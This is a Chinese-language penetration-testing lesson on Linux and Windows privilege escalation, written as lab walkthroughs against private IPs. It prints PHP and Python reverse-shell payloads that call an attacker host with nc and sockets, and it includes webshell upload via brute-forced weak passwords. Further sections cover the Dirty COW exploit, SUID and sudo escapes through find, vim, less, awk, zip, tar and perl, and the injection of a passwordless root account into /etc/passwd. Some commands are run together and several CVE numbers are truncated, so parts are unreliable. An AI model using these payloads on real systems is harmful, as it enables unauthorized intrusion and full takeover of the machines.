DAY28:Linux、Windows 系统提权
1、Linux 系统提权
1.1、Linux 系统版本
linux发行版本:• centos• redhat• ubuntu• kali
1.2、内核漏洞提权思路:
(1)查看系统发行版本
cat /etc/issuecat /etc/*-release
(2)查看内核版本
uname -a
(3)通过得到的系统内核版本,使用 kali 自带的searchsploit工具来搜索exploitdb
中的漏洞利用代码
(4)使用linux-exploit-suggester
工具来根据操作系统版本号自动查找相应提权脚本的工具。 如果不带任何参数运行该脚本的话,将执行uname -r
返回的操作系统发行版本,或者手工输入 -k 参数查找指定版本号。
2、windows 系统提权
操作场景:Windows Server R2实验工具:菜刀管理工具、asp大马实验文件:pr.exe(MS09-012)
2.1、提权概述
提高应用程序/服务在服务器中的权限
Windows:User >> SystemLinux:User >> Root
2.2、提权的方式
系统漏洞提权( Windows 、 Linux )
系统漏洞提权一般就是利用系统自身缺陷,用来提升权限。为了使用方便,windows和linux系统均有提权用的可执行文件。
提权的方式:
Windows的提权exp一般格式为MS08067.exe;
Linux的提权exp一般格式为23456.c。
数据库提权
第三方软件/服务提权
2.3、Windows 系统提权
(1)漏洞编号命名格式
Windows系统漏洞编号命名格式为:MS08067
其中:MS是Micosoft的缩写,固定格式;08 表示年份,即 年发布的漏洞;067 表示顺序,即当年度发布的第67个漏洞。
(2)使用exp提权
在日常渗透测试过程中,我们常常会先是拿到webshell再进行提权。 所以提权脚本也常常会被在webshell中运行使用。
(3)如何知道使用哪个exp来提权呢?
可以使用systeminfo命令或者查看补丁目录,查看补丁记录,来判断有哪个补丁没打,然后使用相对应的exp进行提权。
(4)使用Windows提权辅助工具
Windows-Exploit-Suggester
下载地址:
/GDSSecurity/Windows-Exploit-Suggester
(1)更新漏洞库,执行以下命令
py -2 windows-exploit-suggester.py –update
(2)查看系统漏洞
py -2 windows-exploit-suggester.py --database -08-11-mssb.xls --systeminfo 1.txt
(3)查看系统可能存在的漏洞
py -2 windows-exploit-suggester.py --database -08-23-mssb.xls --ostext 'windows 7 SP1 32-bit'
2.4、总体思路
拿到网站 webshell,小马传大马,大马使用 pr 提权,远程连接目标系统, 提权至 system 权限
3、Windows 提权实战
获得目标 ip:192.168.182.56
3.1、查找开放端口
使用 nmap 或者 scanport 查找,利用超级弱口令工具爆破弱密码。
使用 nmap 扫描出其端口
经过这几个端口的弱密码爆破,最终确认了21端口存在弱口令登陆,可以发现可以上传,那么既然这样,直接上大马
3.2、上传大马
上传成功,那么让我们访问大马
进入大马,我们点击执行 cmd 指令,写入我们需要的命令
点击执行发现拒绝访问,因为我们是没有权限的。我们可以上传一个cmd.exe
来作为一个可访问可执行文件
这时我们执行命令
找到系统信息,使用的是一个工具Windows-Exploit-Suggester
,这个工具可以通过系统信息及其打过的补丁,快速的检索现有漏洞,从而附上exp、poc
地址进行利用,十分方便。
Windows-Exploit-Suggester
:Windows 提权EXP辅助工具,它是用 python开发而成,运行环境是python3.3 及以上版本,且必须安装xlrd库(/pypi/xlrd),其主要功能是通过比 对systeminfo生成的文件,从而发现系统是否存在未修复漏洞。
官方下载地址:
/GDSSecurity/Windows-Exploit-Suggester
3.3、提权
搜索systeminfo
信息,将上面的信息全部复制下来,放入 1.txt
先对漏洞库进行更新,可在本地文件夹下生成生成日期+mssb.xls
文件,再执行检索
py -2 windows-exploit-suggester.py -update
检索存在漏洞
py -2 windows-exploit-suggester.py --database -08-11-mssb.xls --systeminfo 1.txt
那么可以根据上面的网址,找寻相应exp、poc
,下载文件
上传 pr.exe
下面执行命令,记得勾选wscript.shell
模块
成功
4、Linux 内核溢出提权实战
操作场景:Ubuntu:12.04实验工具:使用searchsploit工具搜索内核漏洞
这里使用靶场环境来进行 Linux 提权,首先知道了目标 ip:192.168.182.33
注意:这里需要与目标机在同一网段意思就是能 ping 到,所以我们需要一个 vps 能够与目标机建立连接。
4.1、查询内核版本号
通过 mysql 弱密码爆破进入,写入一句话木马,连接使用函数查询版本号
uname -an
查看Ubuntu内核版本,是3.13.0
写入大马,或者 re,re 内容为:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 攻击机ip/vps ip 监听端口号 >/tmp/f');?>
4.2、查询漏洞
使用 kali 的 searchsploit 工具查找漏洞
searchsploit 版本号
查到有两个漏洞文件适用于 3.13.0
37292.c#c语言编写的文件37292.txt
4.3、监听、反弹shell
在 vps 使用 nc 监听,目标机访问 re 或者大马:
nc -lvnp 7771
在网页中访问 dama.php
点击 back connect
写入vps地址,监听端口号,使用 c,点击 start
已经弹进去了,但是发现我们此时是空指针,所以输入这句话
python -c 'import pty;pty.spawn("/bin/bash")'
可以直接看到成为了 www-data 用户
或者直接访问 re.php,内容如下:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 攻击机ip/vps ip 监听端口号 >/tmp/f');?>
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.182.36 7771 >/tmp/f');?>
这里的意思就是进入其中,利用反弹shell直接弹到 www-data 用户,主要是能执行一些系统函数,从而使 nc 能够成功监听进入 shell 当中,nc 监听文件的配置监听端口号
vps 监听端口,网页访问 re.php,成功
既然之前将漏洞文件发现了
4.4、搜索漏洞文件、上传文件
那么我们需要将这个文件下载或者上传到一个有执行权限的目录,或者可以看看这个文件在系统中有没有,当然蚁剑也能上传。这里就直接运用啦
find / -name 37292.c
或者自己上传一个 37292.c 文件,拷贝提权EXP脚本到目标主机
wget http://192.168.182.33/37292.c
因为已经有了,所以我们 save 名字是重命名的
4.5、提权
然后执行 exp ,编译提权脚本,生成可执行文件,进行提权
gcc 37292.c -o 名字
gcc 37292.c -o qweqwe./qweqwe whoami #确认权限
既然是空指针,再来 python -c 一下
python -c 'import pty;pty.spawn("/bin/bash")'
可以看到已经是 root 权限了
5、Linux 系统脏牛提权
操作场景: ·Ubuntu:14.04 漏洞编号: ·CVE--5195 实验文件: ·dirty.c 漏洞影响范围: ·Linux Kernel >= 2.6.22 的所有 Linux 系统
5.1、脏牛提权(Dirty COW)
漏洞原理:
Linux内核的内存子系统在处理( Copy-on-Write )时存在条件竞争漏洞,造成 COW 过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。一个低权限的本地用户能够利用 此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞
5.2、获取普通权限
首先拿到一个普通用户权限,然后拷贝dirty.c到目标系统
5.3、使用gcc编译执行:
gcc -pthread dirty.c -o dirty -lcrypt
5.4、提权
使用生成的账户进行登录,成功提权至root权限
6、Liunx 系统 SUID 提权实战
6.1、SUID提权介绍
SUID有个 s 标志位,即允许其他非 root 用户用root权限来执行该程序或文件,因此在提权的时候,我们可以查找系统中拥有suid+s标志位的文件来进行修改或者利用其程序来进行提权来达到root 权限。
- 代表文件d 代表目录l 代表链接c 代表字符型设备b 代表块设备n 代表网络设备r 代表可读的w 代表可写的x 代表可执行的
数字4、2和1表示读、写、执行权限。即r=4,w=2,x=1755表示rwxr-xr-x775表示rwxrwxr-x600表示-rw-------644表示-rw-r--r--666表示-rw-rw-rwchown root /tmp/a.txt 把tmp下的a.txt的所有者设置为rootchown root:root /tmp/a.txt 把tmp下的a.txt的用户名和用户组改成root和rootchown -R root:root /tmp/a 把/tmp/a下的所有文件的属组改成root和root -R 表示处理指定目录以及其子目录下的所有文件s权限,设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份。t权限,针对目录,任何用户都可以在此目录中创建文件,但只能删除自己的文件。i权限,不可修改的权限。a权限,只追加的权限。当执行的文件被赋予了s权限,就被称为Set UID,简称为SUID的特殊权限。八进制数为4000
6.2、查找SUID+s的文件
寻找有 suid+s 权限的可执行文件,准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null
,从而仅列出该用户具有访问权限的那些二进制文件
find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录-perm 表示搜索随后的权限-u=s表示查找root用户拥有的文件-type表示我们正在寻找的文件类型f 表示常规文件,而不是目录或特殊文件2表示该进程的第二个文件描述符,即stderr(标准错误)>表示重定向/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
6.3、常用的可用于提权的程序
Nmap、Vim、find、Bash、More、Less、Nano、cp、awk
例如:
(1)find
命令
-exec
参数可以用来执行指定的系统命令,将会以root
来执行find
命令
find test -exec whoami \;
/usr/bin/find b.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
(2) vim命令
vim可以用:!
后面加命令来执行shell指令,也可以直接调用 shell,如果以 SUID 运行的话,它会继承root用户的权限, 因此可以读取系统上的所有文件
(3) nmap命令
较旧版本的Nmap(2.02至5.21)带有交互模式, 从而允许用户执行shell命令。
nmap> !shsh-3.2# whoamiroot
(4) bash命令
以下命令将以 root 身份打开一个 bash shell 。
bash -p
(5) Less/more命令
Less 也可以执行提权后的 shell 。同样的方法 也适用于其他许多命令。
less /etc/passwd!/bin/sh
(6) awk命令
sudo awk 'BEGIN {system("/bin/bash")}‘morpheus 'BEGIN {system("/bin/sh")}'
7、Linux 系统其他提权
7.1、sudo提权
原理:普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理方便,sudoer配置文件 错误导致提权
7.1.1、利用
(1)设置sudo免密码vi /etc/sudoers
在最后一行添加:bypass ALL=(ALL:ALL) NOPASSWD:ALL
(2)查看sudo的权限,提权成功
(3)通过sudo -l
查看了当前可以使用 root 提权的命令信息,可以看到 zip 程序可以以 root 权限执行命令
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id
7.1.2、zip提权
touch exploitsudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
sudo权限提升漏洞 CVE--3156sudo提权 CVE--14187
7.2、计划任务提取
原理:如果可以找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置不当
(1)查看计划任务,找到有修改权限的计划任务脚本
crontab -lls -l /etc/cron*more /etc/crontab
(2)信息搜集
crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root
7.3、Linux明文root密码提权
Linux系统的密码与/etc/passwd
和/etc/shadow
这两个配置文件息息相关。passwd 文件中储存了用户,shadow 文件中是密码的 hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅 root 可读写的
7.4、利用 root 无密码执行
原理:简单来说,就是一个脚本,比如 py , sh 等或者是一个命令。这个文件可以以 root 身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。
(1) 写入一个root身份权限的用户进入/etc/passwd 文件中
可以使用sudo –l
命令查看当前用户可以使用的所有sudo
命令
然后使用teehee
命令向另一文件中追加内容,可以看到提权成功
命令如下:
$ echo "john::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
(2)执行一个有设定不需要密码就可以执行sudo操作的命令
sudo perl -e "exec '/bin/sh' "bash -i